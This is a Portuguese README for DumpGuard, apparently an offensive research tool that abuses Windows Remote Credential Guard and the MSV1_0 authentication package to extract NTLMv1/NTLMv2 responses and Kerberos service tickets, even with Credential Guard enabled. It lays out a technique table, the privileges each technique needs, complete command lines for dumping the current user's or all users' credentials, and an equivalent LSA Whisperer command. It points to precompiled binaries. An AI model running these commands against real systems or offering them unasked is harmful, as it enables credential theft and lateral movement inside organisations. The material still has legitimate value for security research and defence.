
Ferramenta de Prova de Conceito para extrair material de credenciais de sessões protegidas em sistemas Windows modernos.

DumpGuard é uma ferramenta de extração de credenciais e pesquisa de protocolos para sistemas Windows modernos. Ela abusa do protocolo Remote Credential Guard para recuperar material de credenciais mesmo quando o Credential Guard está ativado, e também inclui um caminho do pacote de autenticação Microsoft v1 para extração de NTLM orientada a sessão.
A funcionalidade atual inclui:
Você pode baixar cópias pré-compiladas na seção de releases deste repositório.
Aviso: Esta ferramenta é fornecida estritamente para fins educacionais e de teste legítimo. O autor deste repositório não endossa ou apoia qualquer tipo de uso indevido e não assume responsabilidade por danos ou consequências legais decorrentes do uso desta ferramenta.
A tabela a seguir resume as técnicas atualmente implementadas.
| Técnica | Comando | Requer SYSTEM | Requer Conta SPN | Pode Extrair Credential Guard |
|---|---|---|---|---|
| Extrair NTLMv1 via Remote Credential Guard | ntlmv1 | self: ❌all: ✅ | ✅ | ✅ |
| Extrair NTLMv2 via Remote Credential Guard | ntlmv2 | self: ❌all: ✅ | ✅ | ✅ |
| Extrair Kerberos TGS via Remote Credential Guard | kerbtgs | self: ❌all: ✅ | ✅ | ✅ |
| Extrair NTLMv1 via pacote de autenticação Microsoft v1 | msv10 | ✅ | ❌ | ❌ |
O DumpGuard usa um modelo de comando mais alvo.
comando seleciona a técnica de extração.alvo seleciona se deve operar na sessão atual ou enumerar sessões.Comandos suportados:
/command:ntlmv1/command:ntlmv2/command:kerbtgs/command:msv10Alvos suportados:
/target:self/target:allParâmetros comuns do Remote Credential Guard:
/domain:<DOMINIO>/username:<NOMEDECONTA>/password:<SENHA>/spn:<SPN>Parâmetros do Kerberos TGS:
/tgsdomain:<DOMINIO>/tgsspn:<SPN>Se /spn for omitido para uma conta de computador, o DumpGuard assume como padrão HOST/<nomedocomputador>.
Para extrair material de credenciais do usuário atual a partir de um contexto não privilegiado, o DumpGuard autentica-se em uma conta habilitada para SPN usando Remote Credential Guard e, em seguida, emite requisições de acompanhamento sobre o contexto de segurança estabelecido.
Isso funciona independentemente do estado do Credential Guard, mas requer credenciais para uma conta habilitada para SPN.
Requisito de privilégio: Nenhum.
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:self /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:self /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:self /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servico/host>
Se /tgsdomain for omitido, assume como padrão o valor /domain do Remote Credential Guard.
Para extrair material de credenciais de todos os usuários atualmente acessíveis a partir de um contexto privilegiado, o DumpGuard personifica tokens de processos em execução, autentica-se em uma conta habilitada para SPN usando Remote Credential Guard e, em seguida, emite requisições de acompanhamento sobre o contexto de segurança estabelecido.
Isso funciona independentemente do estado do Credential Guard, mas requer credenciais para uma conta habilitada para SPN.
Requisito de privilégio: SYSTEM ou Administrador (requer SeImpersonatePrivilege).
NTLMv1:
DumpGuard.exe /command:ntlmv1 /target:all /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>]
NTLMv2:
DumpGuard.exe /command:ntlmv2 /target:all /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>]
Kerberos TGS:
DumpGuard.exe /command:kerbtgs /target:all /domain:<DOMINIO> /username:<NOMEDECONTA> /password:<SENHA> [/spn:<SPN>] [/tgsdomain:<DOMINIO>] /tgsspn:<servico/host>
Se /tgsdomain for omitido, assume como padrão o valor /domain do Remote Credential Guard.
Para extrair respostas NTLM de usuários autenticados atualmente a partir de um contexto privilegiado SYSTEM, o DumpGuard interage diretamente com o SSP NTLM e solicita respostas de desafio para cada sessão de logon descoberta.
Isso funciona apenas sob as seguintes condições:
Requisito de privilégio: SYSTEM (requer SeTcbPrivilege).
DumpGuard.exe /command:msv10
Este ataque também pode ser realizado usando LSA Whisperer com o seguinte comando:
lsa-whisperer.exe msv1_0 Lm20GetChallengeResponse --luid {id da sessão} --challenge {desafio para clientes} [flags...]
Eu fiz engenharia reversa e recriei as interfaces expostas pelo Credential Guard (LsaIso.exe) e as incluí neste repositório para qualquer pessoa interessada em pesquisa adicional.
Em outubro de 2025, as seguintes interfaces estão implementadas:
Agradeço à SpecterOps por apoiar esta pesquisa e aos meus colegas de trabalho que ajudaram no seu desenvolvimento.